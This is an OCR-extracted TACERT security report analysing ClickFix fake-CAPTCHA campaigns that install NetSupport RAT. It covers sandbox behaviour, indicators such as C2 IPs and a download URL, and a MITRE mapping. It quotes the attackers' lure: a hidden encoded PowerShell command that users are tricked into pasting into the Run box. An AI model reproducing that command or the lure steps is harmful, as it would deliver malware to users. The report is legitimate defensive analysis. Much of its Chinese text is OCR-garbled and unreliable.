g 1§ AR 5 8 A0E ¢ s (TACERT)
N7 TANet Computer Emergency Response Team

TLP:WHITE

#1* ClickFix #peeh
NetSupport RAT 4 453F £

FAFEREEPBRIZY « BF(TACERT)H
2025 # 03



B 155 e i 45 AOR ¢ o (TACERT)

" TANet Computer Emergency Response Team

N YK

1. 2025/2 The Hacker News #f % 2025 # % - = 5 B S E 2 #c

8> ¢ 7 NetSupport RAT ~Lynx Ransomware ~ ASyncRAT ~ Lumma Stealer
27 InvisibleFerret -

2. FEAMLEREILEL HBBTF  MRT 35 T ClickFix, #

MFNE R e F o v §d g CAPTCHA 2dgineai £ 5%k%E T

W ofEa #ﬁ'ﬁﬁ*?%il*{f"ﬁi}\ﬁ%‘iﬂb K

3. 2025 # 4~ » se K B 4efl* ClickFix shtjimk4cdh NetSupport i:
T’:JLB’\ #\ I% (RAT) ©

4, 1 % ClickFix sz # $ 22 NetSupport 53z # (7 5 ot (7 A =0 A 47 ©

= ~ ClickFix #jis

1. ClickFix sz #4af 4ot 513 @ * HHTpmEZRFRY 4 Enp
b BT R FE R EATE S TR AR G e sk 0 2SR AR

¥ dpor @ P Amr A L) PowerShell #xhise 445 -

12T §_McAfee *t 2024/07 #74 472 [ Clickfix | Foipeg Benig * & o
TALE Vo RIS R

3. 2024/10 Proofpoint #= 3 B g% 3] ClickFix sc# &6 #



%ﬁ A8 g Rt b 8 AJZ Y < (TACERT)
L=

TANet Computer Emergency Response Team

AsyncRAT -~ Danabot + DarkGate ~ Lumma Stealer ~ NetSupport % & %, #c

Rl o

Number of Observed ClickFix Campaigns

, = III|I

Mar-24 Apr-24 May-24 Jun-24 Jul-24 Aug-24 Sep-24 Oct-24
Date

Y
N

=
[=]

Number of Campaigns
2] =]

IS

N

2024 & 3~10 * ClickFix se#z# &
4. ClickFix sz #2 & ¥ %
(1)% 4 T ClickFix | 2~{¥ PowerShell #z;\ 75
(@)sc# H 5 {7 e0F ¥ & 423 Notion #li=7 Google A4 # -
by - BFRLpF > ¢REFEFTRT THRBLELAH T oD
fxb o » # % Cloudflare Turnstile < fe iz% £ 2 it 7 Cloudflare » @

RO fBAL g 1 ARHIT ¢

v @ s2notioncom x 4+

Google notion ¢ 5 o n(GmEmeon)

All Images Videos News  Shopping|
- (8 www.notion.com

o Checking if the site connection is secure
malicious ad

Sponsored /
notionbox.org

https://www.notionbox.org  § D Verify you are CLOUDFLARE

. . human Privacy « Terms
Notion: Your workspace | Notion:
Notion: Our Goal Is To Empower You With The T
notion.com needs to review the security of your connection before
Naotion proceeding

https://www.notion.com }

Notion: Your connected workspad

A new tool that blends your everyday work apps
team.

Ray ID: 4082

B % %k k:malwarebytes



B i3 peik i 45 A2 ¢ s (TACERT)
‘r TANet Computer Emergency Response Team

(2) BHE § EFErREN P A B2 § FIATDTRES B P
i KRBT T hEP 2 AP F L o
(a) F PFE i Windows 422 R 42 o (Fads 84 7 $3a1 )
(b) BBk ART A4 A Ctrl 422 V4o (BpEF T REE Y chiz o p % 0)

(c) # Entergtz = - (HFELHL °)

=] Run X

M @ sZnotion.com Type the name of a program, folder, document, or

=1 internet resource, and Windows will open it for you.

C 23 s2notion.com

Open: | AxACCAKQA=" && | am human - Ray I1D: 4092 4

Browse...

To better prove you are not a robot, please:

Press and hold the windows key &g + R.

In the verification window, press Ctrl + V.

Press Enter on your keyboard to finish.

Ray 1D: 4092

cmd /c "powershell -w h -e aQBLAHgAKABpAHcAcgAgACBAVOBYAGKAIAANAGOAdABOAHAACWABACBALWEZA
DIAbgBvAHQAaQBVAG4ALgB]jAGBAbQAVAGKAbgAUAHAARABWADBAY(QBjAHQAaQBVAGAAPQAXACCAKQA=" && I
am human - Ray ID: 4092

B & % &:malwarebytes

= ~ NetSupport RAT
1. NetSupport RAT % 4~ 4 # 5 NetSupport Manager » £_i¥ 5 & ;2 crug =
IT LN BEF T s 1%&:{?—‘*‘}%’* I e .?ik BREPRRR T

» FREFEEE A R oR R o



A i 5 i i s 4 ATE ¢ (TACERT)
N§97 TANet Computer Emergency Response Team

2.7 1% ClickFix $ojhe » b = 2 - CAPTCHA F oo i » X g % e

ko For @ FRFEL PowerShell o d RTPEHT

NetSupport RAT - — & & % » 3% A&, %1* € & izé"q‘% T & % Keen
RAFFE CFEFTEEYFER CMERTCREFELALSER
# o

3. NetSupport RAT 4 ficde ™ o
(1) e FF @izl 2T F i F -
(2) @~ T i fep] “ﬁ»ﬂ N R o7
(3) EHH 7 % 3Lédp £ fo PowerShell %4 -
(4) #FPE ens 3 T ¢ 2 RBIRE TH -
(5) Fedkit * B EE i L PR
(6) ks ~ ik foif ix & SLAR S frPRTE o
(7) #-p L XAafab TR &~ &P &1 FREEBEHRY > T AL
ATECE 15 ML o
(8) & * A2 L » fodR N B R A K P o
(9) & * 4e i & HSTEF K RFRFRR
4. NetSupport # A # 7]
(1) & ANYRUN 7 44 T ¥ i# NetSupport RAT #: #
scan_doc_000_270.zip > MD5:4e46301b9167ed2f4d2fch261663fc58 -
4 Fug Lede? WinRAR.exe % fi2 /B &5 scan_doc_000_270.zip » 2 ¢
¢ =¥ v wscriptexe k3 7 - B JS %rA& o £ {5 > »f e client32.exe

% #4 7 NetSupport RAT -



A 1 s e s o 858 ¢ o (TACERT)
‘r TANet Computer Emergency Response Team

Processes
v WinRAR.exe C:\Users\admin\Desktop\scan_doc_000_270.zip
3k 1k

wscript.exe "C:\Users\admin\AppData\Local\Temp\Rar$DIa6300.3159\scan_doc_000_270.js"

7k 5k 155

7 client32.exe | PE | DMP

netsupport

(2) WinRAR.exe #4 {718 en{7 5 4o #7371 o

(@) F 7 IS H A o
(b) # B~ Internet Explorer &% >3 o
(c) # B~ Microsoft Office zxp % 3% o

Danger 1

Generic archive extractor

Warning 2

T105

The process executes JS scripts

T101 1)

Reads security settings of Internet Explorer

Other 1

T10

ffice registry keys

= 2y

(3) wscript.exe 4 7 {8 67 5 4o 17 o

(8) #1% 4% -
(b) # ¥ HTTP 34 - i & foxauthority.com ( 1P:104.21.16.1
Port:443) -
GET HTTPS[://]FOXAUTHORITY[.JCOM/GB.ZIP?SN=69
(C ZZFTehEHIE P ML IRG EHEIHP DiE -
(d) #B~Th 5 %o

() By Erfadosf p(V fado 2t 7 » p B fad (7)o



A 1 5 e 8 k08 ¢ < (TACERT)
" TANet Computer Emergency Response Team

(@ ZATFad -

(h) 2 = Pepeid A4 % -

(i) afestp e 22 f% -

() thd AIPIREF

(K) B~ 18 1 B4y (7 ek R R AT o
() ™3 NetSupport 34 {74

(m)™ 7 C # % p* libraries -

(n) #1% & i &0 Windows ¥ 44 {7 4 &

) #Fizp FRIFLERE -

() #F AR 1= bk

() &= - [ Stream > 7 & 45% ~ dg » /B KR ~ g TCP/IP
sockets # e g * o
(5) H#- &= F LB » Stream 4 % o

(t) &= FileSystem i~ iz & FB-7 "oefE % & st o

(u) £ WMI (Windows Management Instrumentation) 5 B~ & 4 ¢
# %% (Win32_LogicalDisk)

(V) # 7 WMI &3 -

W) * WMI &% WMI & =5 i -

Danger 8

)04 File Deletion (1)
Deletes a file (SCRIPT)

T1071.001 Web Pro

Creates a new registry key or changes the value of an existing one (SCRIPT)




A 15 e s 5 8 /k02 ¢ o (TACERT)
7 TANet Computer Emergency Response Team

The sample compiled with english language support
Creates files in the program directory

T1012 Query Registry (1)

Checks proxy server information

Warning 11

T10 nd Dir

Gets full path of the running script (SCRIPT)
Drop NetSupport executable file

The process drops C-runtime libraries

Process drops legitimate windows executable
Executable content was dropped or overwritten
Creates a Folder object (SCRIPT)

T1 lip )
Saves data to a binary file (SCRIPT)

Creates a Stream, which may work with files, input/output devices, pipes, or TCP/IP sockets (SCRIPT)
Writes binary data to a Stream object (SCRIPT)

Creates FileSystem object to access computer's file system (SCRIPT)

Accesses local storage devices (Win32_LogicalDisk) via WMI (SCRIPT)

Executes WMI query (SCRIPT)
Uses WMI to retrieve WMI-managed resources (SCRIPT)

(4) client32.exe 34 {7 & e7{7 5 40T #77)] o



A 15 e s 5 8 /k02 ¢ o (TACERT)
N7 TANet Computer Emergency Response Team

(a) #4 # NETSUPPORT -

(b) @5 C2 /RE (IP:111.90.148.193 Port:443) -
POST HTTP://111[.]90[.]148[.]193/FAKEURL.HTM

(c) it st GEO.NETSUPPORTSOFTWARE.COM & Jo B tech f % 1%
# (1P:104.26.1.231 Port:80) -

(d) 3 2~ Internet Explorer =% > 43k 2 o

(€) tit * P&k EgRRSFTH L

() & <R PREF -

Q) FB-T % 0L -

(h) & £ 3 o

Danger 5
NETSUPPORT has been detected (YARA)

NETSUPPORT has been detected (SURICATA)

Connects to the C-nC server
NetSupport is detected
NETSUPPORT mutex has been found
Warning 3
Potential Corporate Privacy Violation
Connects to the server without a host name

T10

Reads security settings of Internet Explorer

Creates files or folders in the user directory

Checks proxy server information
Reads the computer name
Checks supported languages

T10 m Information
Reads the computer name
Checks supported languages




N & A F R R 8 RIZ ¢ s (TACERT)
\e#” TANet Computer Emergency Response Team

(5) He A4 5o SRS o 45 T § AT 4 475 P o

IP Virustotal AbuselPDB

} R
104.21.16.1(% ®) 1/94 A Ao
2 324 At
PIE o if- =
3 2 % 2025/03/12-

111.90.148.193(5 % & I7) 1/94

104.26.1.231(% &) 0/94

e BIP e g 1
45.91.200.146(7 i) 0/94 B3 R
1 = o fif— = 4F
2 8t 2022/12/15¢

| HTTPRequests 10 Connections DNS Requests Threats 3 PCAP ¥ SSL Keys
® Timeshift Headers Rep PID Process name Content
13377 ms GET | 200: OK 50728 client32 exe httD £0.NEISUDDOMSO oC

15b 4 text
22b 1t text
137b ¢ hmmi

22b 1t text
137b ¢ himl

POST | 502: Bad Gatew... ?

4367ms | POST | 502:Bad Gatew... 7

Danger

Timeshift Protocol Rep PID Process name Port Domain Traffic

f t+ 637b
t+ 220b
+ 118b
t+ 218b

I kikB®2

(6) ™ MITRE ATT&CK Matrix 4 7 NetSupport RAT - 2 3%k & 7

Fr PR T BIAER 2P s

N

s

(a) Persistence & Execution : 2 :x % #xkxd> 38 > % iE wscript.exe

RN o
(b) Discovery : FBT 6 &L~ A A AFE T & 53R BE ¥ o
(c) Defense Evasion & C2 Communication : # 'J“$ £ ;%2 11 Windows

GRS RRSE R E O S T

MITRE ATT&CK Matrix
Tactics 7 Techniques 13
Execution Persistence Privilege Defense Discovery

escalation evasion

Boot or Logon Boot or Logon Indicator
Autostart Autostart Removal (1/9)
Execution (1/12) | Execution (1/12)

l&uery Registry | Application Layer
2L | Protocol (1/4)
27 =
4
System :
Information | ingress Tool
Discovery | Transfer
== L
12 1

File and Directory
Discovery

i

| Modify Registry
1




=

I

i/%gl{vk

o ri2 ¥ < (TACERT)

\e#” TANet Computer Emergency Response Team

S.5¢# 75T R MHA-T o« F 4 > I ClickFix $ #75c4% NetSupportRAT >

ER i

LA AClickFix# A%
NetSupport RAT -

= NetSupport i

¢ i & C2 Server o

7
d

=

\2: N L‘.‘j’ L{:L_
AN =

|

1. 5

(a) T Mz
NetSupport RAT #c » 113 = F =%

(b) i 7 e =k D RIERAR T PF 0 R

(2) o
(@) *

(b) =2

»ta Lé

............................... P P PET P
BEER
2 0L ,

EXE » |[EXE » EXE
WinRAR .exe wscript.exe client32.exe
2.1y 4. MITISHIAA S, B TEAT
wscript.exe?®  WMAEE ERRIENIA NetSupport
wimswa. B :

......................

[ ¥4

ES

\

1

# % 41* Click Fix sc# ks 3 ¥
7 NetSupport RAT - i I 23 (&

#E AT e puRGfATL

BonE T de R C2server eug sr By

ik EDR

BrAEF L oo

(C) 1 iFt AR 2

K FT VAR

5. F& NetSupport
MITHE -

6.#{Tclient32.exe °

PN

A

S

3}%’“""64

KET i@

2o

re

s

SR P R s R

T FPL TRERETE G ALE

10

K U . F%x%*"k

///a

104.21.16.1
foxauthority.com

8.3E4R -

V4

C2 Server
1

111.90.148.193

9.JEMR -

7
v

o

///a

104.26.1.231
GEO.NETSUPPORT
SOFTWARE.COM

10848 - '

45.91.200.146

# 7 & X PowerShell & 4

% | CAPTCHA %3

Lk i

FY TR R

Jﬂ" ClickFix sc# £ ;2 &9

T L RiRgEnar mi o

& g o

)»‘fr'ﬂ’#‘

S 1 i A



A 15 e s 5 8 /k02 ¢ o (TACERT)
N7 TANet Computer Emergency Response Team

HOE LA e (R

(d) s2d 258 A BB EREFORAE LT G A LB T

4 T H

1. 5 Active Malware Campaigns in Q1 2025
https://thehackernews.com/2025/02/5-active-malware-campaigns-in-g1-2025.ht

ml
2. Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape
https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social

-engineering-technigue-floods-threat-landscape

3. ClickFix vs. traditional download in new DarkGate campaign
https://www.malwarebytes.com/blog/news/2025/01/clickfix-vs-traditional-dow

nload-in-new-darkgate-campaign

4. Threat Actors Exploit ClickFix to Deploy NetSupport RAT in Latest Cyber
Attacks
https://thehackernews.com/2025/02/threat-actors-exploit-clickfix-to.html

5.4 % 1 A2 5 ¥ ClickFix & & & 2 » 5% £ 58 j % Google Meet % 7§ # %"’ 7
b 1]
https://www.ithome.com.tw/news/165599

11


https://thehackernews.com/2025/02/5-active-malware-campaigns-in-q1-2025.html
https://thehackernews.com/2025/02/5-active-malware-campaigns-in-q1-2025.html
https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape
https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape
https://www.malwarebytes.com/blog/news/2025/01/clickfix-vs-traditional-download-in-new-darkgate-campaign
https://www.malwarebytes.com/blog/news/2025/01/clickfix-vs-traditional-download-in-new-darkgate-campaign
https://thehackernews.com/2025/02/threat-actors-exploit-clickfix-to.html
https://www.ithome.com.tw/news/165599

